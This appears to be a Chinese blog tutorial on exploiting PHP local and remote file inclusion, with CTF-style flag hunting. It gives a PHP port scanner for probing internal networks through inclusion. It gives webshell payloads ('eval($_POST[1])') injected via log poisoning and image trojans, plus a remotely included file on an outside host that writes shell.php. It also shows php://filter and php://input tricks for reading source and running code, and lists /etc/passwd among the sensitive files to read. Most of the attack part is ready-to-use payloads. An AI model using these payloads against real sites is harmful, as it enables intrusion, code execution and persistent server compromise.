zoukankan      html  css  js  c++  java
  • 文件包含漏洞(RFI)

    1文件包含漏洞简介

    include  require  include_once   require_once

    RFI综述

    RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。

    一下是一个扫描端口PHP,可以包含它来探测内网端口 

    <?php
    //echo "<script>alert('SCAN');</script>";
    if(isset($_REQUEST['ip'])){
            $ports = array(80,8080,21,443,3306,22,1,2,1433);
            $result = array();
            foreach($ports as $port){
                    if($pf = @fsockopen($_REQUEST['ip'], $port, $err, $err_string, 2)){
                            $result[$port] = true;
                            fclose($pf);
                    }else{
                            $result[$port] = false;
                    }
            }
            foreach($result as $port=>$val){
                    $serv = @getservbyport($port, 'TCP');
                    echo "scan port " . $port . " (" . $serv . "):";
                    if($val){
                            //echo 'open'.'<br>';
                            echo "<span style="color:green">open</span><br>";
                    }else{
                            //echo 'close'.'<br>';
                            echo "<span style="color:red">close</span><br>";
                    }
            }
    }
    ?>
    扫描端口

    1.本地文件包含漏洞

    2.远程文件包含漏洞

    条件:php.ini文件中的allow_url_include=On

    http://test.com/?page=http://www.baidu.com/index.html

    3.常见的敏感文件

    1. 根目录下存在flag文件
     C://flag.txt
    2. passwd文件存在flag
    /etc/passwd
    3. Web根目录下存在 flag文件
    4. 当前页面下存在flag文件
    5. apache/php/mysql配置文件下存在flag文件
    利用phpinfo()函数来获取路径
    

     3重要的利用手法

    (1)包含上传的getshell

                     上传图片马,利用文件包含我们的图片马,菜刀连接

    (2)包含日志文件getshell

    burpsuite里面访问
    http://127.0.0.1/<?php eval($_POST[1]);?>
    为了避免在web中进行了url编码,进行报错,把爆错信息写进日志
    http://test.com/?page=../apache/logs/error.log
    成功
    

    (3)远程文件包含getshell

    (4)远程文件包含写shell

    包含hackxf.cn下面的get_shell.txt文件,内容

    <?php
    //fputs()
    //fopen(filename, mode)
    
    fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');
    
    ?>

    访问当前目录下已经生成的shell.php文件

    (5)PHP封装协议读取文件

    1 php://filter/read=convert.base64-encode/resource=index.php
    2 
    3 http://test.com/?page=php://filter/read=convert.base64-encode/resource=index.php

    (6)PHP封装协议命令执行

    http://127.0.0.1/cmd.php?file=php://input
    
    [POST DATA] <?php phpinfo()?>
    

    (7)file封装协议读取文件

    http://test.com/?page=file://c:/flag.txt
    
  • 相关阅读:
    Elasticsearch的介绍与安装配置启动问题
    代码发布项目
    gitpython模块
    Paramiko模块
    gojs插件的介绍与使用
    django中如何实现websocket,真正通过websocket实现群聊功能
    如何实现服务端主动给客户端推送消息,websocket详解,以及django如何使用websocket问题
    简单爬取汽车之家新闻(requests模块+bs4)
    http协议版本,响应状态码,正反向代理的区别,与伪静态
    web开发经验——富头像上传编辑器的使用
  • 原文地址:https://www.cnblogs.com/hackxf/p/8933169.html
Copyright © 2011-2022 走看看